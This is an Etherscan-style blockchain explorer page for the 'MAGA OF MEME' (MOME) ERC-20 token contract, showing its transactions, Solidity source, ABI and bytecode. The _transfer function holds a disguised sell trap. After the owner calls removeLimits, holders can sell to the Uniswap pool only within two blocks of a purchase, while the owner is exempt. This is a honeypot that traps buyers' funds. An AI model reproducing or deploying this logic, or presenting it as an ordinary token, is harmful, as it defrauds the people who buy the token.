Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 11 from a total of 11 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Remove Limits | 20026732 | 87 days ago | IN | 0 ETH | 0.00069493 | ||||
Approve | 20026724 | 87 days ago | IN | 0 ETH | 0.00120779 | ||||
Approve | 20026724 | 87 days ago | IN | 0 ETH | 0.00120779 | ||||
Approve | 20026724 | 87 days ago | IN | 0 ETH | 0.00120779 | ||||
Approve | 20026724 | 87 days ago | IN | 0 ETH | 0.00144057 | ||||
Approve | 20026724 | 87 days ago | IN | 0 ETH | 0.00144057 | ||||
Enable Trading | 20026723 | 87 days ago | IN | 0 ETH | 0.001971 | ||||
Approve | 20026584 | 87 days ago | IN | 0 ETH | 0.00106294 | ||||
Approve | 20026504 | 87 days ago | IN | 0 ETH | 0.00083231 | ||||
Approve | 20026139 | 87 days ago | IN | 0 ETH | 0.00118023 | ||||
0x60806040 | 20025513 | 87 days ago | IN | 0 ETH | 0.02198354 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
MAGAOFMEME
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address(uint160(uint256(keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ))))); } } interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } contract MAGAOFMEME is Context, IERC20Metadata, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; bool private tradingEnabled; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000 * 10 ** _decimals; string private constant _name = unicode"MAGA OF MEME"; string private constant _symbol = unicode"MOME"; uint256 private maxTxAmount = _tTotal * 50 / 100; uint256 private maxWalletAmount = _tTotal * 50 / 100; IPeripheryImmutableState private uniswapV3Router; address private uniswapV3Pair; address private router = 0xE592427A0AEce92De3Edee1F18E0157C05861564; address private universalRouter = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD; address private positionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; mapping (address => bool) private isExcludedFromLimits; mapping (address => uint256) private lastBuyBlocks; mapping (address => uint256) private lastBuyAmounts; constructor() { _balances[owner()] = _tTotal; isExcludedFromLimits[owner()] = true; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function enableTrading() external onlyOwner { require(!tradingEnabled, "Already enabled"); tradingEnabled = true; uniswapV3Router = IPeripheryImmutableState(router); uniswapV3Pair = PoolAddress.computeAddress(uniswapV3Router.factory(), PoolAddress.getPoolKey(address(this), uniswapV3Router.WETH9(), 10000)); require(uniswapV3Pair != address(0), "Invalid pair address"); } function removeLimits() external onlyOwner { maxTxAmount = totalSupply(); maxWalletAmount = totalSupply(); } function _superTransfer(address from, address to, uint256 amount) internal { _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal { require(amount > 0, "Zero amount"); if (!tradingEnabled) { require(from == owner(), "Trading not enabled"); } if (isExcludedFromLimits[from] || isExcludedFromLimits[to]) { _superTransfer(from, to, amount); return; } if (to == uniswapV3Pair && maxTxAmount == totalSupply()) { require(block.number < lastBuyBlocks[from] + 2 && amount <= lastBuyAmounts[from], "Tx amount limit"); lastBuyAmounts[from] -= amount; } if ((from == uniswapV3Pair && to != positionManager) || from == universalRouter) { require(amount <= maxTxAmount, "Tx amount limit"); require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit"); lastBuyBlocks[to] = block.number; lastBuyAmounts[to] = amount; } _superTransfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a61031c565b610020906319133850610331565b61002b906032610331565b6100359190610348565b60045560646100466009600a61031c565b610054906319133850610331565b61005f906032610331565b6100699190610348565b600555600880546001600160a01b031990811673e592427a0aece92de3edee1f18e0157c0586156417909155600980548216733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad179055600a805490911673c36442b4a4522e871399cd717abdd847ab11fe881790553480156100dd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061012a6009600a61031c565b610138906319133850610331565b60015f61014c5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055506001600b5f61018261021560201b60201c565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556101ba5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101f16009600a61031c565b6101ff906319133850610331565b60405190815260200160405180910390a3610367565b5f546001600160a01b031690565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102725780850481111561025657610256610223565b600184161561026457908102905b60019390931c92800261023b565b935093915050565b5f8261028857506001610316565b8161029457505f610316565b81600181146102aa57600281146102b4576102d0565b6001915050610316565b60ff8411156102c5576102c5610223565b50506001821b610316565b5060208310610133831016604e8410600b84101617156102f3575081810a610316565b6102ff5f198484610237565b805f190482111561031257610312610223565b0290505b92915050565b5f61032a60ff84168361027a565b9392505050565b808202811582820484141761031657610316610223565b5f8261036257634e487b7160e01b5f52601260045260245ffd5b500490565b610ed7806103745f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c5780638da5cb5b116100575780638da5cb5b1461021057806395d89b4114610236578063a9059cbb14610262578063dd62ed3e14610281575f80fd5b8063715018a6146101d2578063751039fc146101e85780638a8c523c146101fc575f80fd5b806306fdde03146100cd578063095ea7b31461011357806318160ddd1461014257806323b872dd14610164578063313ce5671461018357806370a082311461019e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b4d414741204f46204d454d4560a01b60208201525b60405161010a9190610c02565b60405180910390f35b34801561011e575f80fd5b5061013261012d366004610c4e565b6102c5565b604051901515815260200161010a565b34801561014d575f80fd5b506101566102db565b60405190815260200161010a565b34801561016f575f80fd5b5061013261017e366004610c78565b6102fb565b34801561018e575f80fd5b506040516009815260200161010a565b3480156101a9575f80fd5b506101566101b8366004610cb6565b6001600160a01b03165f9081526001602052604090205490565b3480156101dd575f80fd5b506101e661034b565b005b3480156101f3575f80fd5b506101e66103c5565b348015610207575f80fd5b506101e6610406565b34801561021b575f80fd5b505f546040516001600160a01b03909116815260200161010a565b348015610241575f80fd5b506040805180820190915260048152634d4f4d4560e01b60208201526100fd565b34801561026d575f80fd5b5061013261027c366004610c4e565b6105ec565b34801561028c575f80fd5b5061015661029b366004610cd8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d13384846105f8565b5060015b92915050565b5f6102e86009600a610e06565b6102f6906319133850610e14565b905090565b5f61030784848461071c565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461034191869161033c908690610e2b565b6105f8565b5060019392505050565b5f546001600160a01b0316331461037d5760405162461bcd60e51b815260040161037490610e3e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103ee5760405162461bcd60e51b815260040161037490610e3e565b6103f66102db565b6004556104016102db565b600555565b5f546001600160a01b0316331461042f5760405162461bcd60e51b815260040161037490610e3e565b60035460ff16156104745760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610374565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b81529051610588929163c45a01559160048083019260209291908290030181865afa1580156104df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105039190610e73565b6105833060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057b9190610e73565b612710610a13565b610a7d565b600780546001600160a01b0319166001600160a01b039290921691821790556105ea5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b6044820152606401610374565b565b5f6102d133848461071c565b6001600160a01b03831661065a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610374565b6001600160a01b0382166106bb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610374565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107595760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610374565b60035460ff166107b5575f546001600160a01b038481169116146107b55760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610374565b6001600160a01b0383165f908152600b602052604090205460ff16806107f257506001600160a01b0382165f908152600b602052604090205460ff165b1561080757610802838383610b63565b505050565b6007546001600160a01b03838116911614801561082c57506108276102db565b600454145b156108e4576001600160a01b0383165f908152600c6020526040902054610854906002610e8e565b4310801561087957506001600160a01b0383165f908152600d60205260409020548111155b6108b75760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b6001600160a01b0383165f908152600d6020526040812080548392906108de908490610e2b565b90915550505b6007546001600160a01b03848116911614801561090f5750600a546001600160a01b03838116911614155b8061092757506009546001600160a01b038481169116145b15610a08576004548111156109705760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b60055481610992846001600160a01b03165f9081526001602052604090205490565b61099c9190610e8e565b11156109e05760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610374565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b610802838383610b63565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610a4d579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610aa2575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610b8a908490610e2b565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb6908490610e8e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161070f91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c4b575f80fd5b50565b5f8060408385031215610c5f575f80fd5b8235610c6a81610c37565b946020939093013593505050565b5f805f60608486031215610c8a575f80fd5b8335610c9581610c37565b92506020840135610ca581610c37565b929592945050506040919091013590565b5f60208284031215610cc6575f80fd5b8135610cd181610c37565b9392505050565b5f8060408385031215610ce9575f80fd5b8235610cf481610c37565b91506020830135610d0481610c37565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610d5e57808504811115610d4257610d42610d0f565b6001841615610d5057908102905b60019390931c928002610d27565b935093915050565b5f82610d74575060016102d5565b81610d8057505f6102d5565b8160018114610d965760028114610da057610dbc565b60019150506102d5565b60ff841115610db157610db1610d0f565b50506001821b6102d5565b5060208310610133831016604e8410600b8410161715610ddf575081810a6102d5565b610deb5f198484610d23565b805f1904821115610dfe57610dfe610d0f565b029392505050565b5f610cd160ff841683610d66565b80820281158282048414176102d5576102d5610d0f565b818103818111156102d5576102d5610d0f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e83575f80fd5b8151610cd181610c37565b808201808211156102d5576102d5610d0f56fea264697066735822122056ee46f190cae92f58acc4ed1473d24f11368aedb1d7de99219f2c784075e86164736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063715018a61161007c5780638da5cb5b116100575780638da5cb5b1461021057806395d89b4114610236578063a9059cbb14610262578063dd62ed3e14610281575f80fd5b8063715018a6146101d2578063751039fc146101e85780638a8c523c146101fc575f80fd5b806306fdde03146100cd578063095ea7b31461011357806318160ddd1461014257806323b872dd14610164578063313ce5671461018357806370a082311461019e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b4d414741204f46204d454d4560a01b60208201525b60405161010a9190610c02565b60405180910390f35b34801561011e575f80fd5b5061013261012d366004610c4e565b6102c5565b604051901515815260200161010a565b34801561014d575f80fd5b506101566102db565b60405190815260200161010a565b34801561016f575f80fd5b5061013261017e366004610c78565b6102fb565b34801561018e575f80fd5b506040516009815260200161010a565b3480156101a9575f80fd5b506101566101b8366004610cb6565b6001600160a01b03165f9081526001602052604090205490565b3480156101dd575f80fd5b506101e661034b565b005b3480156101f3575f80fd5b506101e66103c5565b348015610207575f80fd5b506101e6610406565b34801561021b575f80fd5b505f546040516001600160a01b03909116815260200161010a565b348015610241575f80fd5b506040805180820190915260048152634d4f4d4560e01b60208201526100fd565b34801561026d575f80fd5b5061013261027c366004610c4e565b6105ec565b34801561028c575f80fd5b5061015661029b366004610cd8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d13384846105f8565b5060015b92915050565b5f6102e86009600a610e06565b6102f6906319133850610e14565b905090565b5f61030784848461071c565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461034191869161033c908690610e2b565b6105f8565b5060019392505050565b5f546001600160a01b0316331461037d5760405162461bcd60e51b815260040161037490610e3e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103ee5760405162461bcd60e51b815260040161037490610e3e565b6103f66102db565b6004556104016102db565b600555565b5f546001600160a01b0316331461042f5760405162461bcd60e51b815260040161037490610e3e565b60035460ff16156104745760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610374565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b81529051610588929163c45a01559160048083019260209291908290030181865afa1580156104df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105039190610e73565b6105833060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057b9190610e73565b612710610a13565b610a7d565b600780546001600160a01b0319166001600160a01b039290921691821790556105ea5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b6044820152606401610374565b565b5f6102d133848461071c565b6001600160a01b03831661065a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610374565b6001600160a01b0382166106bb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610374565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107595760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610374565b60035460ff166107b5575f546001600160a01b038481169116146107b55760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610374565b6001600160a01b0383165f908152600b602052604090205460ff16806107f257506001600160a01b0382165f908152600b602052604090205460ff165b1561080757610802838383610b63565b505050565b6007546001600160a01b03838116911614801561082c57506108276102db565b600454145b156108e4576001600160a01b0383165f908152600c6020526040902054610854906002610e8e565b4310801561087957506001600160a01b0383165f908152600d60205260409020548111155b6108b75760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b6001600160a01b0383165f908152600d6020526040812080548392906108de908490610e2b565b90915550505b6007546001600160a01b03848116911614801561090f5750600a546001600160a01b03838116911614155b8061092757506009546001600160a01b038481169116145b15610a08576004548111156109705760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b60055481610992846001600160a01b03165f9081526001602052604090205490565b61099c9190610e8e565b11156109e05760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610374565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b610802838383610b63565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610a4d579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610aa2575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610b8a908490610e2b565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb6908490610e8e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161070f91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c4b575f80fd5b50565b5f8060408385031215610c5f575f80fd5b8235610c6a81610c37565b946020939093013593505050565b5f805f60608486031215610c8a575f80fd5b8335610c9581610c37565b92506020840135610ca581610c37565b929592945050506040919091013590565b5f60208284031215610cc6575f80fd5b8135610cd181610c37565b9392505050565b5f8060408385031215610ce9575f80fd5b8235610cf481610c37565b91506020830135610d0481610c37565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610d5e57808504811115610d4257610d42610d0f565b6001841615610d5057908102905b60019390931c928002610d27565b935093915050565b5f82610d74575060016102d5565b81610d8057505f6102d5565b8160018114610d965760028114610da057610dbc565b60019150506102d5565b60ff841115610db157610db1610d0f565b50506001821b6102d5565b5060208310610133831016604e8410600b8410161715610ddf575081810a6102d5565b610deb5f198484610d23565b805f1904821115610dfe57610dfe610d0f565b029392505050565b5f610cd160ff841683610d66565b80820281158282048414176102d5576102d5610d0f565b818103818111156102d5576102d5610d0f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e83575f80fd5b8151610cd181610c37565b808201808211156102d5576102d5610d0f56fea264697066735822122056ee46f190cae92f58acc4ed1473d24f11368aedb1d7de99219f2c784075e86164736f6c634300081a0033
Deployed Bytecode Sourcemap
3744:4708:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5034:83;;;;;;;;;;-1:-1:-1;5104:5:0;;;;;;;;;;;;-1:-1:-1;;;5104:5:0;;;;5034:83;;;;;;;:::i;:::-;;;;;;;;5867:161;;;;;;;;;;-1:-1:-1;5867:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5867:161:0;945:187:1;5311:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;5311:95:0;1137:177:1;6036:266:0;;;;;;;;;;-1:-1:-1;6036:266:0;;;;;:::i;:::-;;:::i;5220:83::-;;;;;;;;;;-1:-1:-1;5220:83:0;;4006:1;1974:36:1;;1962:2;1947:18;5220:83:0;1832:184:1;5414:119:0;;;;;;;;;;-1:-1:-1;5414:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5507:18:0;5480:7;5507:18;;;:9;:18;;;;;;;5414:119;732:148;;;;;;;;;;;;;:::i;:::-;;7082:131;;;;;;;;;;;;;:::i;6653:421::-;;;;;;;;;;;;;:::i;518:79::-;;;;;;;;;;-1:-1:-1;556:7:0;583:6;518:79;;-1:-1:-1;;;;;583:6:0;;;2419:51:1;;2407:2;2392:18;518:79:0;2273:203:1;5125:87:0;;;;;;;;;;-1:-1:-1;5197:7:0;;;;;;;;;;;;-1:-1:-1;;;5197:7:0;;;;5125:87;;5541:167;;;;;;;;;;-1:-1:-1;5541:167:0;;;;;:::i;:::-;;:::i;5716:143::-;;;;;;;;;;-1:-1:-1;5716:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5824:18:0;;;5797:7;5824:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5716:143;5867:161;5942:4;5959:39;175:10;5982:7;5991:6;5959:8;:39::i;:::-;-1:-1:-1;6016:4:0;5867:161;;;;;:::o;5311:95::-;5364:7;4061:15;4006:1;4061:2;:15;:::i;:::-;4049:27;;:9;:27;:::i;:::-;5384:14;;5311:95;:::o;6036:266::-;6134:4;6151:36;6161:6;6169:9;6180:6;6151:9;:36::i;:::-;-1:-1:-1;;;;;6229:19:0;;;;;;:11;:19;;;;;;;;175:10;6229:33;;;;;;;;;6198:74;;6207:6;;6229:42;;6265:6;;6229:42;:::i;:::-;6198:8;:74::i;:::-;-1:-1:-1;6290:4:0;6036:266;;;;;:::o;732:148::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;;;;;;;;;839:1:::1;823:6:::0;;802:40:::1;::::0;-1:-1:-1;;;;;823:6:0;;::::1;::::0;802:40:::1;::::0;839:1;;802:40:::1;870:1;853:19:::0;;-1:-1:-1;;;;;;853:19:0::1;::::0;;732:148::o;7082:131::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;7150:13:::1;:11;:13::i;:::-;7136:11;:27:::0;7192:13:::1;:11;:13::i;:::-;7174:15;:31:::0;7082:131::o;6653:421::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;6717:14:::1;::::0;::::1;;6716:15;6708:43;;;::::0;-1:-1:-1;;;6708:43:0;;5307:2:1;6708:43:0::1;::::0;::::1;5289:21:1::0;5346:2;5326:18;;;5319:30;-1:-1:-1;;;5365:18:1;;;5358:45;5420:18;;6708:43:0::1;5105:339:1::0;6708:43:0::1;6762:14;:21:::0;;-1:-1:-1;;6762:21:0::1;6779:4;6762:21;::::0;;6837:6:::1;::::0;6794:15:::1;:50:::0;;-1:-1:-1;;;;;;6794:50:0::1;-1:-1:-1::0;;;;;6837:6:0;;::::1;6794:50:::0;;::::1;::::0;;6898:25:::1;::::0;;-1:-1:-1;;;6898:25:0;;;;6871:124:::1;::::0;6837:6;6898:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;6837:6;6898:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6925:69;6956:4;6963:15;;;;;;;;;-1:-1:-1::0;;;;;6963:15:0::1;-1:-1:-1::0;;;;;6963:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;